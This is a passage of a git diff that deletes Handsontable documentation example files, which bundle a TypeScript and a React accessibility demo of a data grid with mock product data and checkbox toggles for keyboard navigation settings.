a/runner/apps/authoring/public/docs-examples/guides__accessibility__accessibility__javascript__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Accessibility · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n
    \n \n Enable navigation with the Tab key\n \n \n \n \n \n \n \n
    \n
    \n \n \n Enable navigation across headers\n \n \n \n \n \n \n \n
    \n
    \n \n \n Enable cells virtualization\n \n \n \n \n \n \n \n
    \n
    \n \n The Enter key begins cell editing\n \n \n \n \n \n \n \n
    \n
    \n \n The right/left arrow keys wrap focus to the adjacent row\n \n \n \n \n \n \n \n
    \n
    \n \n \n The up/down arrow keys wrap focus to the adjacent column\n \n \n \n \n \n \n \n
    \n
    \n \n \n The Enter key moves the focus after cell edition\n \n \n \n \n \n \n \n
    \n
    \n \n \n \n
    \n \n \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n/* start:skip-in-preview */\ninterface Product {\n companyName: string;\n productName: string;\n sellDate: string;\n inStock: boolean;\n qty: number;\n orderId: string;\n country: string;\n}\n\n/* start:skip-in-preview */\nconst products: Product[] = [\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-07-05',\n inStock: false,\n qty: 82,\n orderId: '16-3974628',\n country: 'United Kingdom',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-05-31',\n inStock: false,\n qty: 459,\n orderId: '77-7839351',\n country: 'Costa Rica',\n },\n {\n companyName: 'Reichert LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-16',\n inStock: false,\n qty: 318,\n orderId: '75-6343150',\n country: 'United States of America',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-24',\n inStock: true,\n qty: 177,\n orderId: '56-3608689',\n country: 'Pitcairn Islands',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-29',\n inStock: true,\n qty: 51,\n orderId: '58-1204318',\n country: 'Argentina',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-03-27',\n inStock: false,\n qty: 439,\n orderId: '62-6066132',\n country: 'Senegal',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Awesome Wooden Hat',\n sellDate: '2022-11-24',\n inStock: false,\n qty: 493,\n orderId: '76-7785471',\n country: 'Cyprus',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-08-11',\n inStock: false,\n qty: 225,\n orderId: '34-3551159',\n country: 'Saint Martin',\n },\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-02-07',\n inStock: false,\n qty: 261,\n orderId: '77-1112514',\n country: 'Chile',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-06',\n inStock: false,\n qty: 439,\n orderId: '12-3252385',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-22',\n inStock: true,\n qty: 235,\n orderId: '71-7639998',\n country: 'Brazil',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2022-12-13',\n inStock: true,\n qty: 163,\n orderId: '68-1588829',\n country: 'Burkina Faso',\n },\n {\n companyName: 'Jenkins LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-03-26',\n inStock: true,\n qty: 8,\n orderId: '61-6324553',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 355,\n orderId: '74-6985005',\n country: 'Mozambique',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-08-01',\n inStock: false,\n qty: 186,\n orderId: '84-4370131',\n country: 'Cocos (Keeling) Islands',\n },\n {\n companyName: 'Rempel - Durgan',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 284,\n orderId: '13-6461825',\n country: 'Monaco',\n },\n {\n companyName: 'Lesch - Jakubowski',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-09-26',\n inStock: true,\n qty: 492,\n orderId: '13-9465439',\n country: 'Iran',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 300,\n orderId: '76-5194058',\n country: 'Indonesia',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-07-07',\n inStock: true,\n qty: 493,\n orderId: '61-8600792',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Johnston - Wisozk',\n productName: 'Small Fresh Fish',\n sellDate: '2023-07-14',\n inStock: false,\n qty: 304,\n orderId: '10-6007287',\n country: 'Romania',\n },\n {\n companyName: 'Gutkowski Inc',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-01-10',\n inStock: true,\n qty: 375,\n orderId: '25-1164132',\n country: 'Afghanistan',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-03-30',\n inStock: false,\n qty: 365,\n orderId: '75-7975820',\n country: 'Germany',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 308,\n orderId: '59-6251875',\n country: 'Tajikistan',\n },\n {\n companyName: 'Mills Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 191,\n orderId: '67-7521441',\n country: 'Puerto Rico',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-03-18',\n inStock: false,\n qty: 208,\n orderId: '19-4264192',\n country: 'Bolivia',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-06-14',\n inStock: true,\n qty: 191,\n orderId: '78-5742060',\n country: 'Benin',\n },\n {\n companyName: 'Upton - Reichert',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-02-27',\n inStock: false,\n qty: 45,\n orderId: '26-6191298',\n country: 'Tunisia',\n },\n {\n companyName: 'Carroll Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 385,\n orderId: '13-7828353',\n country: 'Switzerland',\n },\n {\n companyName: 'Reichel Group',\n productName: 'Small Frozen Tuna',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 117,\n orderId: '67-9643738',\n country: 'Mongolia',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-24',\n inStock: false,\n qty: 335,\n orderId: '78-1331653',\n country: 'Angola',\n },\n {\n companyName: 'Brown LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-06-13',\n inStock: true,\n qty: 305,\n orderId: '63-2315723',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-07',\n inStock: true,\n qty: 409,\n orderId: '53-6782557',\n country: 'Indonesia',\n },\n {\n companyName: 'OReilly LLC',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-18',\n inStock: true,\n qty: 318,\n orderId: '91-7787675',\n country: 'Mayotte',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-20',\n inStock: false,\n qty: 234,\n orderId: '41-3560672',\n country: 'Switzerland',\n },\n {\n companyName: 'Hodkiewicz Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-10-19',\n inStock: true,\n qty: 136,\n orderId: '48-6028776',\n country: 'Peru',\n },\n {\n companyName: 'Lesch and Sons',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-29',\n inStock: false,\n qty: 187,\n orderId: '84-3770456',\n country: 'Central African Republic',\n },\n {\n companyName: 'Pouros - Brakus',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-01-29',\n inStock: false,\n qty: 350,\n orderId: '08-4844950',\n country: 'Isle of Man',\n },\n {\n companyName: 'Batz - Rice',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-11-06',\n inStock: false,\n qty: 252,\n orderId: '88-4899852',\n country: 'Burundi',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Fresh Fish',\n sellDate: '2023-09-05',\n inStock: true,\n qty: 306,\n orderId: '06-5022461',\n country: 'Mauritius',\n },\n {\n companyName: 'Hills and Sons',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-11-07',\n inStock: false,\n qty: 435,\n orderId: '99-5539911',\n country: 'Somalia',\n },\n {\n companyName: 'Shanahan - Boyle',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-19',\n inStock: true,\n qty: 171,\n orderId: '82-8162453',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Luettgen Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 6,\n orderId: '02-8118250',\n country: 'Colombia',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-02-16',\n inStock: true,\n qty: 278,\n orderId: '07-9773343',\n country: 'Central African Republic',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-08-08',\n inStock: false,\n qty: 264,\n orderId: '66-4470479',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-06-06',\n inStock: true,\n qty: 494,\n orderId: '13-1175339',\n country: 'Liechtenstein',\n },\n {\n companyName: 'Hahn - Welch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-12',\n inStock: false,\n qty: 485,\n orderId: '32-9127309',\n country: 'Bahrain',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-04-08',\n inStock: true,\n qty: 332,\n orderId: '41-3774568',\n country: 'Montserrat',\n },\n {\n companyName: 'Crona and Sons',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-06-21',\n inStock: true,\n qty: 104,\n orderId: '48-9995090',\n country: 'Syrian Arab Republic',\n },\n {\n companyName: 'Lind Group',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 51,\n orderId: '68-9599400',\n country: 'Czech Republic',\n },\n {\n companyName: 'Labadie LLC',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-04-20',\n inStock: true,\n qty: 155,\n orderId: '52-4334332',\n country: 'Croatia',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-07-23',\n inStock: false,\n qty: 465,\n orderId: '63-8894526',\n country: 'Indonesia',\n },\n];\n\nconst countries = products.reduce((acc, curr) => {\n if (acc.includes(curr.country)) {\n return acc;\n }\n\n return [...acc, curr.country];\n}, []);\n\n/* end:skip-in-preview */\n\n// Get the DOM element with the ID 'example1' where the Handsontable will be rendered\nconst app = document.getElementById('example1')!;\n\n// Define configuration options for the Handsontable\nconst hotOptions: Handsontable.GridSettings = {\n data: products,\n height: 464,\n colWidths: [160, 165, 130, 120, 100, 110, 216],\n autoRowSize: true,\n colHeaders: ['Company name', 'Product name', 'Sell date', 'In stock', 'Qty', 'Order ID', 'Country'],\n columns: [\n { data: 'companyName', type: 'text' },\n { data: 'productName', type: 'text' },\n {\n data: 'sellDate',\n type: 'intl-date',\n locale: 'en-GB',\n dateFormat: { day: '2-digit', month: '2-digit', year: 'numeric' },\n },\n {\n data: 'inStock',\n type: 'checkbox',\n className: 'htCenter',\n headerClassName: 'htCenter',\n },\n {\n data: 'qty',\n type: 'numeric',\n headerClassName: 'htRight',\n },\n {\n data: 'orderId',\n type: 'text',\n },\n {\n data: 'country',\n type: 'dropdown',\n source: countries,\n },\n ],\n dropdownMenu: true,\n hiddenColumns: {\n indicators: true,\n },\n contextMenu: true,\n navigableHeaders: true, // New accessibility feature\n tabNavigation: true, // New accessibility feature\n autoWrapRow: true,\n autoWrapCol: true,\n multiColumnSorting: true,\n filters: true,\n rowHeaders: true,\n manualRowMove: true,\n headerClassName: 'htLeft',\n licenseKey: 'non-commercial-and-evaluation',\n};\n\n// Initialize the Handsontable instance with the specified configuration options\nlet hot = new Handsontable(app, hotOptions);\n\n// Helper function to set up checkbox event handling\nconst setupCheckbox = (element: HTMLInputElement, callback: (val: boolean) => void) =>\n element.addEventListener('click', () => callback(element.checked));\n\n// Set up event listeners for various checkboxes to update Handsontable settings.\n// This allows us to change the Handsontable settings from the UI, showcasing\n// the flexibility of Handsontable in configuring according to your needs.\n\n// Checkbox: Enable/Disable Tab Navigation\nsetupCheckbox(document.querySelector('#enable-tab-navigation') as HTMLInputElement, (checked) => {\n hotOptions.tabNavigation = checked;\n hot.updateSettings({\n tabNavigation: hotOptions.tabNavigation,\n });\n console.log('Updated setting: tabNavigation to', hot.getSettings().tabNavigation);\n});\n\n// Checkbox: Enable/Disable Header Navigation\nsetupCheckbox(document.querySelector('#enable-header-navigation') as HTMLInputElement, (checked) => {\n hotOptions.navigableHeaders = checked;\n hot.updateSettings({\n navigableHeaders: hotOptions.navigableHeaders,\n });\n console.log('Updated setting: navigableHeaders to', hot.getSettings().navigableHeaders);\n});\n\n// Checkbox: Enable/Disable Cell Virtualization\nsetupCheckbox(document.querySelector('#enable-cell-virtualization') as HTMLInputElement, (checked) => {\n hot.destroy();\n hot = new Handsontable(document.getElementById('example1')!, {\n ...hotOptions,\n renderAllRows: !checked,\n renderAllColumns: !checked,\n });\n console.log('Updated virtualization settings:', {\n renderAllRows: hot.getSettings().renderAllRows,\n renderAllColumns: hot.getSettings().renderAllColumns,\n });\n});\n\n// Checkbox: Enable/Disable Cell Enter Editing\nsetupCheckbox(document.querySelector('#enable-cell-enter-editing') as HTMLInputElement, (checked) => {\n hotOptions.enterBeginsEditing = checked;\n hot.updateSettings({\n enterBeginsEditing: hotOptions.enterBeginsEditing,\n });\n console.log('Updated setting: enable-cell-enter-editing to', hot.getSettings().enterBeginsEditing);\n});\n\n// Checkbox: Enable/Disable Arrow Navigation for First/Last Row\nsetupCheckbox(document.querySelector('#enable-arrow-rl-first-last-column') as HTMLInputElement, (checked) => {\n hotOptions.autoWrapRow = checked;\n hot.updateSettings({\n autoWrapRow: hotOptions.autoWrapRow,\n });\n console.log('Updated setting: autoWrapRow to', hot.getSettings().autoWrapRow);\n});\n\n// Checkbox: Enable/Disable Arrow Navigation for First/Last Column\nsetupCheckbox(document.querySelector('#enable-arrow-td-first-last-column') as HTMLInputElement, (checked) => {\n hotOptions.autoWrapCol = checked;\n hot.updateSettings({\n autoWrapCol: hotOptions.autoWrapCol,\n });\n console.log('Updated setting: autoWrapCol to', hot.getSettings().autoWrapCol);\n});\n\n// Checkbox: Enable/Disable Enter Key Focus for Editing\nsetupCheckbox(document.querySelector('#enable-enter-focus-editing') as HTMLInputElement, (checked) => {\n hotOptions.enterMoves = checked ? { col: 0, row: 1 } : { col: 0, row: 0 };\n hot.updateSettings({\n enterMoves: hotOptions.enterMoves,\n });\n console.log('Updated setting: enterMoves to', hot.getSettings().enterMoves);\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":".checkbox-container {\n display: flex;\n flex-direction: column;\n gap: 0.5rem;\n margin: 0 -1rem 0 !important;\n padding: 0 1rem 0.75rem;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n}\n\n.checkbox-container > div {\n display: flex;\n}\n\n.checkbox-container > div > label {\n display: flex;\n align-items: center;\n gap: 0.4rem;\n}\n\n.external-link {\n margin-left: 0.5rem;\n position: relative;\n top: 2px;\n color: var(--sl-color-text, #333333);\n}\n\n.external-link:hover {\n color: var(--sl-color-accent, #1A42E8);\n}\n\n.placeholder-input {\n max-width: 20rem;\n padding: 0.4rem 0.625rem;\n font-size: var(--sl-text-sm, 0.875rem);\n line-height: 1.25rem;\n color: var(--sl-color-text, #333333);\n background: none;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n outline: none;\n}\n\n.placeholder-input::placeholder {\n color: var(--sl-color-gray-3, #777777);\n}\n\n.placeholder-input:focus {\n border-color: var(--sl-color-accent, #1A42E8);\n}\n\n.option-label {\n color: var(--sl-color-text, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n}\n\n/*\n We want the focus to be around input and label, in order to achieve this,\n we remove focus from the input and add it to the label (wrapper in this case)\n we then use the :focus-within pseudo class plus native focus styles\n https://css-tricks.com/copy-the-browsers-native-focus-styles/\n*/\n.option-label:focus-within {\n outline: 5px auto Highlight;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\n.option-label > input:focus {\n outline: none;\n}\n\n.example-container {\n gap: 1rem;\n display: flex;\n flex-direction: column;\n font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;\n}"},"docsPath":"guides/accessibility/accessibility/javascript/example1.ts","breadcrumb":["Accessibility"],"guide":"guides/accessibility/accessibility/accessibility.md","guideTitle":"Accessibility","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/accessibility","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessibility__accessibility__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/guides__accessibility__accessibility__react__example2.tsx.json deleted file mode 100644 index 093d7ea5..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessibility__accessibility__react__example2.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Accessibility · Accessible data grid demo · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useState } from 'react';\nimport { HotTable, HotColumn } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\nregisterAllModules();\n\ninterface Toggle {\n tabNavigation: boolean;\n navigableHeaders: boolean;\n renderAllRows: boolean;\n renderAllColumns: boolean;\n enterBeginsEditing: boolean;\n autoWrapRow: boolean;\n autoWrapCol: boolean;\n enterMoves: { col: number; row: number };\n changeToggleOptions: any;\n}\n\ninterface Product {\n companyName: string;\n productName: string;\n sellDate: string;\n inStock: boolean;\n qty: number;\n orderId: string;\n country: string;\n}\n\n/* start:skip-in-preview */\nconst data: Product[] = [\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-07-05',\n inStock: false,\n qty: 82,\n orderId: '16-3974628',\n country: 'United Kingdom',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-05-31',\n inStock: false,\n qty: 459,\n orderId: '77-7839351',\n country: 'Costa Rica',\n },\n {\n companyName: 'Reichert LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-16',\n inStock: false,\n qty: 318,\n orderId: '75-6343150',\n country: 'United States of America',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-24',\n inStock: true,\n qty: 177,\n orderId: '56-3608689',\n country: 'Pitcairn Islands',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-29',\n inStock: true,\n qty: 51,\n orderId: '58-1204318',\n country: 'Argentina',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-03-27',\n inStock: false,\n qty: 439,\n orderId: '62-6066132',\n country: 'Senegal',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Awesome Wooden Hat',\n sellDate: '2022-11-24',\n inStock: false,\n qty: 493,\n orderId: '76-7785471',\n country: 'Cyprus',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-08-11',\n inStock: false,\n qty: 225,\n orderId: '34-3551159',\n country: 'Saint Martin',\n },\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-02-07',\n inStock: false,\n qty: 261,\n orderId: '77-1112514',\n country: 'Chile',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-06',\n inStock: false,\n qty: 439,\n orderId: '12-3252385',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-22',\n inStock: true,\n qty: 235,\n orderId: '71-7639998',\n country: 'Brazil',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2022-12-13',\n inStock: true,\n qty: 163,\n orderId: '68-1588829',\n country: 'Burkina Faso',\n },\n {\n companyName: 'Jenkins LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-03-26',\n inStock: true,\n qty: 8,\n orderId: '61-6324553',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 355,\n orderId: '74-6985005',\n country: 'Mozambique',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-08-01',\n inStock: false,\n qty: 186,\n orderId: '84-4370131',\n country: 'Cocos (Keeling) Islands',\n },\n {\n companyName: 'Rempel - Durgan',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 284,\n orderId: '13-6461825',\n country: 'Monaco',\n },\n {\n companyName: 'Lesch - Jakubowski',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-09-26',\n inStock: true,\n qty: 492,\n orderId: '13-9465439',\n country: 'Iran',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 300,\n orderId: '76-5194058',\n country: 'Indonesia',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-07-07',\n inStock: true,\n qty: 493,\n orderId: '61-8600792',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Johnston - Wisozk',\n productName: 'Small Fresh Fish',\n sellDate: '2023-07-14',\n inStock: false,\n qty: 304,\n orderId: '10-6007287',\n country: 'Romania',\n },\n {\n companyName: 'Gutkowski Inc',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-01-10',\n inStock: true,\n qty: 375,\n orderId: '25-1164132',\n country: 'Afghanistan',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-03-30',\n inStock: false,\n qty: 365,\n orderId: '75-7975820',\n country: 'Germany',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 308,\n orderId: '59-6251875',\n country: 'Tajikistan',\n },\n {\n companyName: 'Mills Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 191,\n orderId: '67-7521441',\n country: 'Puerto Rico',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-03-18',\n inStock: false,\n qty: 208,\n orderId: '19-4264192',\n country: 'Bolivia',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-06-14',\n inStock: true,\n qty: 191,\n orderId: '78-5742060',\n country: 'Benin',\n },\n {\n companyName: 'Upton - Reichert',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-02-27',\n inStock: false,\n qty: 45,\n orderId: '26-6191298',\n country: 'Tunisia',\n },\n {\n companyName: 'Carroll Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 385,\n orderId: '13-7828353',\n country: 'Switzerland',\n },\n {\n companyName: 'Reichel Group',\n productName: 'Small Frozen Tuna',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 117,\n orderId: '67-9643738',\n country: 'Mongolia',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-24',\n inStock: false,\n qty: 335,\n orderId: '78-1331653',\n country: 'Angola',\n },\n {\n companyName: 'Brown LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-06-13',\n inStock: true,\n qty: 305,\n orderId: '63-2315723',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-07',\n inStock: true,\n qty: 409,\n orderId: '53-6782557',\n country: 'Indonesia',\n },\n {\n companyName: 'OReilly LLC',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-18',\n inStock: true,\n qty: 318,\n orderId: '91-7787675',\n country: 'Mayotte',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-20',\n inStock: false,\n qty: 234,\n orderId: '41-3560672',\n country: 'Switzerland',\n },\n {\n companyName: 'Hodkiewicz Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-10-19',\n inStock: true,\n qty: 136,\n orderId: '48-6028776',\n country: 'Peru',\n },\n {\n companyName: 'Lesch and Sons',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-29',\n inStock: false,\n qty: 187,\n orderId: '84-3770456',\n country: 'Central African Republic',\n },\n {\n companyName: 'Pouros - Brakus',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-01-29',\n inStock: false,\n qty: 350,\n orderId: '08-4844950',\n country: 'Isle of Man',\n },\n {\n companyName: 'Batz - Rice',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-11-06',\n inStock: false,\n qty: 252,\n orderId: '88-4899852',\n country: 'Burundi',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Fresh Fish',\n sellDate: '2023-09-05',\n inStock: true,\n qty: 306,\n orderId: '06-5022461',\n country: 'Mauritius',\n },\n {\n companyName: 'Hills and Sons',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-11-07',\n inStock: false,\n qty: 435,\n orderId: '99-5539911',\n country: 'Somalia',\n },\n {\n companyName: 'Shanahan - Boyle',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-19',\n inStock: true,\n qty: 171,\n orderId: '82-8162453',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Luettgen Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 6,\n orderId: '02-8118250',\n country: 'Colombia',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-02-16',\n inStock: true,\n qty: 278,\n orderId: '07-9773343',\n country: 'Central African Republic',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-08-08',\n inStock: false,\n qty: 264,\n orderId: '66-4470479',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-06-06',\n inStock: true,\n qty: 494,\n orderId: '13-1175339',\n country: 'Liechtenstein',\n },\n {\n companyName: 'Hahn - Welch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-12',\n inStock: false,\n qty: 485,\n orderId: '32-9127309',\n country: 'Bahrain',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Small Frozen 